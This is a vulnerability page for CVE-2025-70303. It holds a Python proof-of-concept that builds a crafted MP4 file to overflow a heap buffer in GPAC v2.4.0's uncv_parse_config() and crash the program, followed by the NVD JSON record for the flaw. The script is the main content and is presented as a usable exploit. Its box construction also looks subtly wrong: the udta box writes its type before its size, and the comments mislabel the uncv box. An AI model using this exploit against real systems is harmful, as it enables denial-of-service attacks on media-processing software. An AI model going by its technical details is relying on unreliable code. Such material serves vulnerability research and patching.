CVE-2025-70303

#!/usr/bin/env python3 # CVE-2025-70303 PoC - GPAC uncv_parse_config() Heap Overflow # Generate a crafted MP4 file to trigger heap overflow in GPAC v2.4.0 import struct import os def create_crafted_mp4(): """Generate a malicious MP4 file triggering uncv_parse_config() heap overflow""" # MP4 file header (ftyp box) ftyp_box = b'ftyp' ftyp_brand = b'isom' ftyp_version = struct.pack('>I', 0) ftyp_compatible_brands = b'isomiso2mp41' ftyp_size = 4 + 4 + 4 + len(ftyp_compatible_brands) ftyp_data = struct.pack('>I', ftyp_size) + ftyp_box + ftyp_brand + ftyp_version + ftyp_compatible_brands # Crafted udta box with malicious uncv configuration data # This triggers heap overflow in uncv_parse_config() udta_box = b'udta' # Malformed uncv (user data) configuration with oversized data uncv_box = b'uncv' # Overflow payload - oversized data that exceeds heap buffer overflow_data = b'A' * 65536 # Large payload to trigger overflow uncv_content = overflow_data uncv_size = 8 + len(uncv_content) uncv_data = struct.pack('>I', uncv_size) + uncv_box + uncv_content # Complete udta box udta_data = udta_box + struct.pack('>I', 8 + len(uncv_data)) + uncv_data # mdat box (media data) mdat_box = b'mdat' mdat_data = struct.pack('>I', 8) + mdat_box # Combine all boxes mp4_data = ftyp_data + udta_data + mdat_data # Write to file output_file = 'CVE-2025-70303_poc.mp4' with open(output_file, 'wb') as f: f.write(mp4_data) print(f'PoC file created: {output_file}') return output_file if __name__ == '__main__': create_crafted_mp4() print('Usage: Process this file with GPAC v2.4.0 to trigger DoS')

{"cve": {"id": "CVE-2025-70303", "sourceIdentifier": "[email protected]", "published": "2026-01-15T19:16:04.350", "lastModified": "2026-01-23T19:11:35.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap overflow in the uncv_parse_config() function of GPAC v2.4.0 allows attackers to cause a Denial of Service (DoS) via a crafted MP4 file."}, {"lang": "es", "value": "Un desbordamiento de montículo en la función uncv_parse_config() de GPAC v2.4.0 permite a los atacantes causar una denegación de servicio (DoS) mediante un archivo MP4 manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "C8D68051-EBCD-445B-A060-EAC407CE2D39"}]}]}], "references": [{"url": "https://github.com/zakkanijia/POC/blob/main/gpac_uncv/GPAC_UNCV_CPAT.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}